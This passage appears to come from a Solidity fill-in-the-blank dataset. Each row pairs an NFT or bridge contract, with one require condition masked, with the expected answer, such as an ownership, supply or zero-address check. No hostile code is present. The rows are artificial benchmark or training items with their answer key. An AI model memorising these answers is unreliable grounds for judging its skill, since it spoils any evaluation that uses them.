}
}
pragma solidity ^0.8.0;
/// @title EIP-721 Metadata Update Extension
interface IERC4906 is IERC721A {
/// @dev This event emits when the metadata of a token is changed.
/// Third-party platforms such as NFT marketplaces can listen to
/// the event and auto-update the tokens in their apps.
event MetadataUpdate(uint256 _tokenId);
}
pragma solidity ^0.8.18;
library utils {
function uint2str(
uint _i
) internal pure returns (string memory _uintAsString) {
}
//
function random(uint input, uint min, uint max) internal pure returns (uint) {
}
}
pragma solidity ^0.8.18;
library svgInfo {
function renderSvg(uint amtValues,uint tokenId) internal pure returns (string memory svg) {
}
}
pragma solidity ^0.8.18;
contract NFT20 is ERC721A, Ownable, IERC4906 {
uint public price = 1000000000000000; //.001 eth
bool public iscombineTransfer = false;
uint256 public maxSupply = 20000; //max_supply
uint256 public maxPublicSupply = 19000; //max_supply
uint256 public maxFreeSupply = 4000;
bool public mintEnabled = false;
uint256 public maxFreePerTx = 2;
uint256 public maxPerTx = 20;
mapping(uint => uint) transferIn;
mapping(uint => uint) transferOut;
mapping(uint => uint) amtValues;
mapping(uint => bool) isBurned;
mapping(address => uint256) private _mintedFreeAmount;
constructor() ERC721A("NFT20 Wei", "NFT20") {}
function mint(uint quantity, uint amt) public payable {
}
function freeMint(uint quantity) public {
}
function handleMint(address recipient, uint quantity) internal {
require(mintEnabled, "minting is closed.");
require(<FILL_ME>)
_mint(recipient, quantity);
}
function teamMint(uint quantity, uint amt, address recipient) public onlyOwner{
}
function combineTransfer(uint from, uint to, uint value) public{
}
function getValue(uint256 tokenId) public view returns (uint) {
}
function tokenURI(uint256 tokenId) public view virtual override(ERC721A, IERC721A) returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function flipMint() external onlyOwner {
}
function getMetadata(uint tokenId, uint value, uint tIn, uint tOut) internal pure returns (string memory) {
}
function mintCount() public view returns (uint) {
}
function burned() public view returns (uint) {
}
function toggleCombineTransfer() public onlyOwner {
}
function withdraw() external onlyOwner {
}
}
| totalSupply()+quantity<maxPublicSupply+1,"no more left" | 509,947 | totalSupply()+quantity<maxPublicSupply+1 |
"non-existent id" | // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides a set of functions to operate with Base64 strings.
*
* _Available since v4.5._
*/
library Base64 {
/**
* @dev Base64 Encoding/Decoding Table
*/
string internal constant _TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/**
* @dev Converts a `bytes` to its Bytes64 `string` representation.
*/
function encode(bytes memory data) internal pure returns (string memory) {
}
}
pragma solidity ^0.8.0;
/// @title EIP-721 Metadata Update Extension
interface IERC4906 is IERC721A {
/// @dev This event emits when the metadata of a token is changed.
/// Third-party platforms such as NFT marketplaces can listen to
/// the event and auto-update the tokens in their apps.
event MetadataUpdate(uint256 _tokenId);
}
pragma solidity ^0.8.18;
library utils {
function uint2str(
uint _i
) internal pure returns (string memory _uintAsString) {
}
//
function random(uint input, uint min, uint max) internal pure returns (uint) {
}
}
pragma solidity ^0.8.18;
library svgInfo {
function renderSvg(uint amtValues,uint tokenId) internal pure returns (string memory svg) {
}
}
pragma solidity ^0.8.18;
contract NFT20 is ERC721A, Ownable, IERC4906 {
uint public price = 1000000000000000; //.001 eth
bool public iscombineTransfer = false;
uint256 public maxSupply = 20000; //max_supply
uint256 public maxPublicSupply = 19000; //max_supply
uint256 public maxFreeSupply = 4000;
bool public mintEnabled = false;
uint256 public maxFreePerTx = 2;
uint256 public maxPerTx = 20;
mapping(uint => uint) transferIn;
mapping(uint => uint) transferOut;
mapping(uint => uint) amtValues;
mapping(uint => bool) isBurned;
mapping(address => uint256) private _mintedFreeAmount;
constructor() ERC721A("NFT20 Wei", "NFT20") {}
function mint(uint quantity, uint amt) public payable {
}
function freeMint(uint quantity) public {
}
function handleMint(address recipient, uint quantity) internal {
}
function teamMint(uint quantity, uint amt, address recipient) public onlyOwner{
}
function combineTransfer(uint from, uint to, uint value) public{
require(iscombineTransfer, "transfer not active");
require(<FILL_ME>)
require(getValue(from) >= value,"no sufficient balance");
require(ownerOf(from) == msg.sender, "must own token");
transferOut[from] += 1;
amtValues[from] -= value;
amtValues[to] += value;
transferOut[to] += 1;
}
function getValue(uint256 tokenId) public view returns (uint) {
}
function tokenURI(uint256 tokenId) public view virtual override(ERC721A, IERC721A) returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function flipMint() external onlyOwner {
}
function getMetadata(uint tokenId, uint value, uint tIn, uint tOut) internal pure returns (string memory) {
}
function mintCount() public view returns (uint) {
}
function burned() public view returns (uint) {
}
function toggleCombineTransfer() public onlyOwner {
}
function withdraw() external onlyOwner {
}
}
| _exists(from)&&_exists(to),"non-existent id" | 509,947 | _exists(from)&&_exists(to) |
"no sufficient balance" | // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides a set of functions to operate with Base64 strings.
*
* _Available since v4.5._
*/
library Base64 {
/**
* @dev Base64 Encoding/Decoding Table
*/
string internal constant _TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/**
* @dev Converts a `bytes` to its Bytes64 `string` representation.
*/
function encode(bytes memory data) internal pure returns (string memory) {
}
}
pragma solidity ^0.8.0;
/// @title EIP-721 Metadata Update Extension
interface IERC4906 is IERC721A {
/// @dev This event emits when the metadata of a token is changed.
/// Third-party platforms such as NFT marketplaces can listen to
/// the event and auto-update the tokens in their apps.
event MetadataUpdate(uint256 _tokenId);
}
pragma solidity ^0.8.18;
library utils {
function uint2str(
uint _i
) internal pure returns (string memory _uintAsString) {
}
//
function random(uint input, uint min, uint max) internal pure returns (uint) {
}
}
pragma solidity ^0.8.18;
library svgInfo {
function renderSvg(uint amtValues,uint tokenId) internal pure returns (string memory svg) {
}
}
pragma solidity ^0.8.18;
contract NFT20 is ERC721A, Ownable, IERC4906 {
uint public price = 1000000000000000; //.001 eth
bool public iscombineTransfer = false;
uint256 public maxSupply = 20000; //max_supply
uint256 public maxPublicSupply = 19000; //max_supply
uint256 public maxFreeSupply = 4000;
bool public mintEnabled = false;
uint256 public maxFreePerTx = 2;
uint256 public maxPerTx = 20;
mapping(uint => uint) transferIn;
mapping(uint => uint) transferOut;
mapping(uint => uint) amtValues;
mapping(uint => bool) isBurned;
mapping(address => uint256) private _mintedFreeAmount;
constructor() ERC721A("NFT20 Wei", "NFT20") {}
function mint(uint quantity, uint amt) public payable {
}
function freeMint(uint quantity) public {
}
function handleMint(address recipient, uint quantity) internal {
}
function teamMint(uint quantity, uint amt, address recipient) public onlyOwner{
}
function combineTransfer(uint from, uint to, uint value) public{
require(iscombineTransfer, "transfer not active");
require(_exists(from) && _exists(to),"non-existent id");
require(<FILL_ME>)
require(ownerOf(from) == msg.sender, "must own token");
transferOut[from] += 1;
amtValues[from] -= value;
amtValues[to] += value;
transferOut[to] += 1;
}
function getValue(uint256 tokenId) public view returns (uint) {
}
function tokenURI(uint256 tokenId) public view virtual override(ERC721A, IERC721A) returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function flipMint() external onlyOwner {
}
function getMetadata(uint tokenId, uint value, uint tIn, uint tOut) internal pure returns (string memory) {
}
function mintCount() public view returns (uint) {
}
function burned() public view returns (uint) {
}
function toggleCombineTransfer() public onlyOwner {
}
function withdraw() external onlyOwner {
}
}
| getValue(from)>=value,"no sufficient balance" | 509,947 | getValue(from)>=value |
"must own token" | // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides a set of functions to operate with Base64 strings.
*
* _Available since v4.5._
*/
library Base64 {
/**
* @dev Base64 Encoding/Decoding Table
*/
string internal constant _TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/**
* @dev Converts a `bytes` to its Bytes64 `string` representation.
*/
function encode(bytes memory data) internal pure returns (string memory) {
}
}
pragma solidity ^0.8.0;
/// @title EIP-721 Metadata Update Extension
interface IERC4906 is IERC721A {
/// @dev This event emits when the metadata of a token is changed.
/// Third-party platforms such as NFT marketplaces can listen to
/// the event and auto-update the tokens in their apps.
event MetadataUpdate(uint256 _tokenId);
}
pragma solidity ^0.8.18;
library utils {
function uint2str(
uint _i
) internal pure returns (string memory _uintAsString) {
}
//
function random(uint input, uint min, uint max) internal pure returns (uint) {
}
}
pragma solidity ^0.8.18;
library svgInfo {
function renderSvg(uint amtValues,uint tokenId) internal pure returns (string memory svg) {
}
}
pragma solidity ^0.8.18;
contract NFT20 is ERC721A, Ownable, IERC4906 {
uint public price = 1000000000000000; //.001 eth
bool public iscombineTransfer = false;
uint256 public maxSupply = 20000; //max_supply
uint256 public maxPublicSupply = 19000; //max_supply
uint256 public maxFreeSupply = 4000;
bool public mintEnabled = false;
uint256 public maxFreePerTx = 2;
uint256 public maxPerTx = 20;
mapping(uint => uint) transferIn;
mapping(uint => uint) transferOut;
mapping(uint => uint) amtValues;
mapping(uint => bool) isBurned;
mapping(address => uint256) private _mintedFreeAmount;
constructor() ERC721A("NFT20 Wei", "NFT20") {}
function mint(uint quantity, uint amt) public payable {
}
function freeMint(uint quantity) public {
}
function handleMint(address recipient, uint quantity) internal {
}
function teamMint(uint quantity, uint amt, address recipient) public onlyOwner{
}
function combineTransfer(uint from, uint to, uint value) public{
require(iscombineTransfer, "transfer not active");
require(_exists(from) && _exists(to),"non-existent id");
require(getValue(from) >= value,"no sufficient balance");
require(<FILL_ME>)
transferOut[from] += 1;
amtValues[from] -= value;
amtValues[to] += value;
transferOut[to] += 1;
}
function getValue(uint256 tokenId) public view returns (uint) {
}
function tokenURI(uint256 tokenId) public view virtual override(ERC721A, IERC721A) returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function flipMint() external onlyOwner {
}
function getMetadata(uint tokenId, uint value, uint tIn, uint tOut) internal pure returns (string memory) {
}
function mintCount() public view returns (uint) {
}
function burned() public view returns (uint) {
}
function toggleCombineTransfer() public onlyOwner {
}
function withdraw() external onlyOwner {
}
}
| ownerOf(from)==msg.sender,"must own token" | 509,947 | ownerOf(from)==msg.sender |
"ERC721: Not token owner" | pragma solidity >=0.8.0 <0.9.0;
//SPDX-License-Identifier: MIT
import "@maticnetwork/fx-portal/contracts/tunnel/FxBaseRootTunnel.sol";
import "../utils/OwnablePausable.sol";
interface MPL {
function ownerOf(uint256 tokenId) external view returns(address);
}
contract MarsUBIBridge is FxBaseRootTunnel, OwnablePausable {
address public mpl;
uint256 public limit = 120;
uint256 public claimId = 1;
event Bridged(uint256[] tokenIds, address recipient, uint256 claimId);
constructor(address _checkpointManager, address _fxRoot, address _mpl, address _marsUBI)
FxBaseRootTunnel(_checkpointManager, _fxRoot)
{
}
function safeClaimUBI(uint256[] calldata tokenIds) public {
}
function setLimit(uint256 _limit) public onlyOwner {
}
// @notice helper min function
function min(uint256 a, uint256 b) internal pure returns (uint256) {
}
function claimUBI(uint256[] calldata tokenIds, address recipient) public whenNotPaused {
for(uint i; i < tokenIds.length; i++){
require(<FILL_ME>)
}
uint start;
while (start < tokenIds.length) {
uint end = min(start + limit, tokenIds.length);
_sendMessageToChild(abi.encode(tokenIds[start:end], recipient, claimId));
start += limit;
}
emit Bridged(tokenIds, recipient, claimId);
claimId = claimId + 1;
}
function _processMessageFromChild(bytes memory message) virtual internal override{}
}
| MPL(mpl).ownerOf(tokenIds[i])==msg.sender,"ERC721: Not token owner" | 510,239 | MPL(mpl).ownerOf(tokenIds[i])==msg.sender |
"Zero address" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
/// @author FOMOLOL (fomolol.com)
import "./libs/BetterBoolean.sol";
import "./libs/SafeAddress.sol";
import "./libs/ABDKMath64x64.sol";
import "./security/ContractGuardian.sol";
import "./finance/LockedPaymentSplitter.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
/// @dev Errors
/**
* @notice Token is not free. Needed `amount` to be more than zero.
* @param amount total mint price.
*/
error NotFree(uint256 amount);
/**
* @notice Insufficient balance for transfer. Needed `required` but only `available` available.
* @param available balance available.
* @param required requested amount to transfer.
*/
error InsufficientBalance(uint256 available, uint256 required);
/**
* @notice Maximum mints exceeded. Allowed `allowed` but trying to mint `trying`.
* @param trying total trying to mint.
* @param allowed allowed amount to mint per wallet.
*/
error MaxPerWalletCap(uint256 trying, uint256 allowed);
/**
* @notice Maximum supply exceeded. Allowed `allowed` but trying to mint `trying`.
* @param trying total trying to mint.
* @param allowed allowed amount to mint per wallet.
*/
error MaxSupplyExceeded(uint256 trying, uint256 allowed);
/**
* @notice Not allowed. Address is not allowed.
* @param _address wallet address checked.
*/
error NotAllowed(address _address);
/**
* @notice Token does not exist.
* @param tokenId token id checked.
*/
error DoesNotExist(uint256 tokenId);
/**
* @title FOMOPASS
* @author FOMOLOL (fomolol.com)
* @dev Standard ERC1155 implementation
*
* ERC1155 NFT contract, with reserves, payment splitting and paid token features.
*
* In addition to using ERC1155, gas is optimized via boolean packing
* and use of constants where possible.
*/
/// @custom:security-contact lfg@fomolol.com
abstract contract FOMOPASS is
ERC1155,
IERC2981,
Ownable,
Pausable,
ERC1155Supply,
ContractGuardian,
ReentrancyGuard,
LockedPaymentSplitter
{
enum Status {
Pending,
PublicSale,
Finished
}
using SafeAddress for address;
using ABDKMath64x64 for uint;
using BetterBoolean for uint256;
using Strings for uint256;
using ECDSA for bytes32;
Status public status;
string private name_;
string private symbol_;
address private _recipient;
uint256 public constant MAX_PER_WALLET_LIMIT = 50;
uint256 public constant PASS_ALL_ACCESS_ID = 0;
uint256 public constant PASS_EVENTS_ONLY_ID = 1;
uint256 public tokensReserved;
bool public metadataRevealed;
bool public metadataFinalised;
mapping(uint256 => string) private _uris;
mapping(uint256 => uint256) private _costs;
mapping(uint256 => uint256) private _maxSupplies;
mapping(uint256 => uint256) private _maxBatchSizes;
/// @dev Events
event PermanentURI(string _value, uint256 indexed _id);
event TokensMinted(
address indexed mintedBy,
uint256 indexed id,
uint256 indexed quantity
);
event BaseUriUpdated(string oldBaseUri, string newBaseUri);
event CostUpdated(uint256 oldCost, uint256 newCost);
event ReservedToken(address minter, address recipient, uint256 amount);
event StatusChanged(Status status);
constructor(
string memory _symbol,
string memory _name,
string memory __uri,
address[] memory __addresses,
uint256[] memory __splits
) ERC1155(__uri) SlimPaymentSplitter(__addresses, __splits) {
}
/**
* @dev Throws if amount if less than zero.
*/
function _isNotFree(uint256 amount) internal pure {
}
/**
* @dev Throws if public sale is NOT active.
*/
function _isPublicSaleActive() internal view {
}
/**
* @dev Throws if max tokens per wallet
* @param id token id to check
* @param quantity quantity to check
*/
function _isMaxTokensPerWallet(uint256 id, uint256 quantity) internal view {
}
/**
* @dev Throws if the amount sent is not equal to the total cost.
* @param id token id to check
* @param quantity quantity to check
*/
function _isCorrectAmountProvided(uint256 id, uint256 quantity)
internal
view
{
}
/**
* @dev Throws if the claim size is not valid
* @param id token id to check
* @param count total to check
*/
function _isValidBatchSize(uint256 id, uint256 count) internal view {
}
/**
* @dev Throws if the total token number being minted is zero
*/
function _isMintingOne(uint256 quantity) internal pure {
}
/**
* @dev Throws if the total being minted is greater than the max supply
*/
function _isLessThanMaxSupply(uint256 id, uint256 quantity) internal view {
}
/**
* @dev Mint function for reserved tokens.
* @param minter is the address minting the token(s).
* @param quantity is total tokens to mint.
*/
function _internalMintTokens(
address minter,
uint256 id,
uint256 quantity
) internal {
}
/**
* @dev Allows us to specify the collection name.
*/
function name() public view returns (string memory) {
}
/**
* @dev Allows us to specify the token symbol.
*/
function symbol() public view returns (string memory) {
}
/**
* @dev Pause the contract
*/
function pause() public onlyOwner {
}
/**
* @dev Unpause the contract
*/
function unpause() public onlyOwner {
}
/**
* @notice Reserve token(s) to multiple team members.
*
* @param frens addresses to send tokens to
* @param quantity the number of tokens to mint.
*/
function reserve(
address[] memory frens,
uint256 id,
uint256 quantity
) external onlyOwner {
_isMintingOne(quantity);
_isValidBatchSize(id, quantity);
_isLessThanMaxSupply(id, quantity);
uint256 idx;
for (idx = 0; idx < frens.length; idx++) {
require(<FILL_ME>)
_internalMintTokens(frens[idx], id, quantity);
tokensReserved += quantity;
emit ReservedToken(_msgSender(), frens[idx], quantity);
}
}
/**
* @notice Reserve multiple tokens to a single team member.
*
* @param fren Address to send tokens to
* @param id Token id to mint
* @param quantity Number of tokens to mint
*/
function reserveSingle(
address fren,
uint256 id,
uint256 quantity
) external onlyOwner {
}
/**
* @dev The public mint function.
* @param id Token id to mint.
* @param quantity Total number of tokens to mint.
*/
function mint(uint256 id, uint256 quantity)
public
payable
nonReentrant
onlyUsers
{
}
/**
* @notice This is a mint cost override (must be in wei)
* @dev Handles setting the mint cost
* @param id token id to set the cost for
* @param _cost new cost to associate with minting tokens (in wei)
*/
function setMintCost(uint256 id, uint256 _cost) public onlyOwner {
}
/**
* @dev Handles updating the status
*/
function setStatus(Status _status) external onlyOwner {
}
/**
* @dev override for before token transfer method
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal override(ERC1155, ERC1155Supply) whenNotPaused {
}
/**
* @dev override for the uri that allows IPFS to be used
* @param id token id to update uri for
*/
function uri(uint256 id) public view override returns (string memory) {
}
/**
* @dev handles returning the cost for a token
* @param id token id to update uri for
*/
function cost(uint256 id) public view returns (uint256) {
}
/**
* @dev override for the uri that allows IPFS to be used
* @param id token id to update uri for
* @param _uri uri for token id
*/
function setTokenUri(uint256 id, string memory _uri) public onlyOwner {
}
/**
* @dev handles returning the max supply for a token
* @param id token id to update uri for
*/
function maxSupply(uint256 id) public view returns (uint256) {
}
/**
* @dev handles returning the max batch size for a token
* @param id token id to update uri for
*/
function maxBatchSize(uint256 id) public view returns (uint256) {
}
/**
* @dev handles adjusting the max supply
* @param id token id to update uri for
* @param quantity to change the max supply to
*/
function setMaxSupply(uint256 id, uint256 quantity) public onlyOwner {
}
/**
* @dev handles adjusting the max batch size
* @param id token id to update uri for
* @param quantity to change the max supply to
*/
function setMaxBatchSize(uint256 id, uint256 quantity) public onlyOwner {
}
/** @dev EIP2981 royalties implementation. */
// Maintain flexibility to modify royalties recipient (could also add basis points).
function _setRoyalties(address newRecipient) internal {
}
function setRoyalties(address newRecipient) external onlyOwner {
}
// EIP2981 standard royalties return.
function royaltyInfo(uint256 _tokenId, uint256 _salePrice)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
}
// EIP2981 standard Interface return. Adds to ERC1155 and ERC165 Interface returns.
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC1155, IERC165)
returns (bool)
{
}
}
| frens[idx]!=address(0),"Zero address" | 510,264 | frens[idx]!=address(0) |
"Storage: caller is not allowed" | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "hardhat/console.sol";
contract ContractRestricted is Ownable {
address private _accessContract;
constructor(address accessContract) {
}
function getContractAccessAddress() public view returns (address) {
}
modifier onlyContract() {
require(<FILL_ME>)
_;
}
modifier onlyOwnerOrContract() {
}
function isContract() public view returns (bool) {
}
function setAccessContract(address accessContract) public onlyOwner {
}
function _setAccessContract(address accessContract) private {
}
}
| isContract(),"Storage: caller is not allowed" | 510,408 | isContract() |
"You are not allowed to perform this opration" | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "hardhat/console.sol";
contract ContractRestricted is Ownable {
address private _accessContract;
constructor(address accessContract) {
}
function getContractAccessAddress() public view returns (address) {
}
modifier onlyContract() {
}
modifier onlyOwnerOrContract() {
require(<FILL_ME>)
_;
}
function isContract() public view returns (bool) {
}
function setAccessContract(address accessContract) public onlyOwner {
}
function _setAccessContract(address accessContract) private {
}
}
| isContract()||owner()==msg.sender,"You are not allowed to perform this opration" | 510,408 | isContract()||owner()==msg.sender |
ExportableERC721Messages.getErrorMessage(4301) | pragma solidity ^0.8.0;
library ExportableERC721Messages {
function getErrorMessage(uint256 code) internal pure returns(string memory message){
}
}
/**
* @title Exportable Non-Fungible Token Contract
* @notice Default implementation of exportable Non-Fungible token contract
* @author Sangmoon Oh
*/
contract ExportableERC721 is IContractMeta, IExportableERC721, Ownable, ERC165Storage, ERC721URIStorage, ERC721PresetMinterPauserAutoId {
using EnumerableSet for EnumerableSet.UintSet;
using Math for uint256;
string private _contractUri;
bool private _exportable = false;
bool private _importable = false;
uint256 private maxId;
mapping(State => EnumerableSet.UintSet) private _statedTokens;
struct Exporting{
address prevOwner;
uint256 timestamp; // unix epoch
}
mapping(uint256 => Exporting) private _exportings;
constructor(string memory name, string memory symbol, bool exportable, bool importable) ERC721PresetMinterPauserAutoId(name, symbol, "") Ownable(){
}
function enableExport(bool enabled) external virtual override{
require(hasRole(MINTER_ROLE, _msgSender()), ExportableERC721Messages.getErrorMessage(4112));
if(!enabled) require(<FILL_ME>)
_exportable = enabled;
}
function isExportable() public view virtual override returns(bool) {
}
function enableImport(bool enabled) external virtual override {
}
function isImportable() public view virtual override returns(bool) {
}
/**
* @dev Set a token into the specified state exclusively
*/
function _toggleTokenState(uint256 tokenId, State state) internal {
}
function exporting(uint256 tokenId, address escrowee) external override{
}
/**
* @param escrowee the address to whom the token is temporarily owned while exporting (before exported.)
*/
function _setExporting(uint256 tokenId, address escrowee) internal virtual {
}
function getExporting(uint256 tokenId) external view virtual override returns (address, uint256) {
}
function unexporting(uint256 tokenId) external virtual override{
}
function _isExporting(uint256 tokenId) internal view returns(bool) {
}
function exported(uint256 tokenId) external override{
}
function _setExported(uint256 tokenId) internal virtual {
}
function imported(uint256 preferredTokenId, address owner) external override returns(uint256 tokenId) {
}
function _import(uint256 preferredTokenId, address owner) private returns(uint256 tokenId) {
}
function countStatedTokens(State state) public view virtual override returns(uint256){
}
function statedTokens(State state) external view virtual override returns(uint256[] memory){
}
function mint(address to) public virtual override(ERC721PresetMinterPauserAutoId, IExportableERC721){
}
function _burn(uint256 tokenId) internal virtual override(ERC721, ERC721URIStorage) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721PresetMinterPauserAutoId) {
}
function _baseURI() internal view virtual override(ERC721, ERC721PresetMinterPauserAutoId) returns (string memory) {
}
function setTokenURI(uint256 tokenId, string memory uri) external virtual override{
}
function tokenURI(uint256 tokenId) public view virtual override(IERC721Metadata, ERC721, ERC721URIStorage) returns (string memory) {
}
function pause() public virtual override(IExportableERC721, ERC721PresetMinterPauserAutoId){
}
function unpause() public virtual override(IExportableERC721, ERC721PresetMinterPauserAutoId){
}
function contractURI() external view virtual override returns(string memory){
}
/**
* @notice Change the loccation of a file or resource containing contract level metadata
* Only an account with `MINTER` role can execute this function
*
* @param uri the location of file or resource containing contract level metadata
*/
function setContractURI(string memory uri) external virtual override{
}
/**
* @notice Ownership can not be renounced for this type of contract
*/
function renounceOwnership() public virtual override onlyOwner{
}
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC165Storage, ERC721, ERC721PresetMinterPauserAutoId) returns (bool){
}
}
| countStatedTokens(State.Exporting)==0,ExportableERC721Messages.getErrorMessage(4301) | 510,452 | countStatedTokens(State.Exporting)==0 |
ExportableERC721Messages.getErrorMessage(4302) | pragma solidity ^0.8.0;
library ExportableERC721Messages {
function getErrorMessage(uint256 code) internal pure returns(string memory message){
}
}
/**
* @title Exportable Non-Fungible Token Contract
* @notice Default implementation of exportable Non-Fungible token contract
* @author Sangmoon Oh
*/
contract ExportableERC721 is IContractMeta, IExportableERC721, Ownable, ERC165Storage, ERC721URIStorage, ERC721PresetMinterPauserAutoId {
using EnumerableSet for EnumerableSet.UintSet;
using Math for uint256;
string private _contractUri;
bool private _exportable = false;
bool private _importable = false;
uint256 private maxId;
mapping(State => EnumerableSet.UintSet) private _statedTokens;
struct Exporting{
address prevOwner;
uint256 timestamp; // unix epoch
}
mapping(uint256 => Exporting) private _exportings;
constructor(string memory name, string memory symbol, bool exportable, bool importable) ERC721PresetMinterPauserAutoId(name, symbol, "") Ownable(){
}
function enableExport(bool enabled) external virtual override{
}
function isExportable() public view virtual override returns(bool) {
}
function enableImport(bool enabled) external virtual override {
}
function isImportable() public view virtual override returns(bool) {
}
/**
* @dev Set a token into the specified state exclusively
*/
function _toggleTokenState(uint256 tokenId, State state) internal {
}
function exporting(uint256 tokenId, address escrowee) external override{
}
/**
* @param escrowee the address to whom the token is temporarily owned while exporting (before exported.)
*/
function _setExporting(uint256 tokenId, address escrowee) internal virtual {
require(_exists(tokenId), ExportableERC721Messages.getErrorMessage(4401));
require(<FILL_ME>)
require(!_isExporting(tokenId), ExportableERC721Messages.getErrorMessage(4402)); // maybe redundant
address owner = ownerOf(tokenId);
_transfer(owner, escrowee, tokenId);
_toggleTokenState(tokenId, State.Exporting);
_exportings[tokenId] = Exporting(owner, block.timestamp);
}
function getExporting(uint256 tokenId) external view virtual override returns (address, uint256) {
}
function unexporting(uint256 tokenId) external virtual override{
}
function _isExporting(uint256 tokenId) internal view returns(bool) {
}
function exported(uint256 tokenId) external override{
}
function _setExported(uint256 tokenId) internal virtual {
}
function imported(uint256 preferredTokenId, address owner) external override returns(uint256 tokenId) {
}
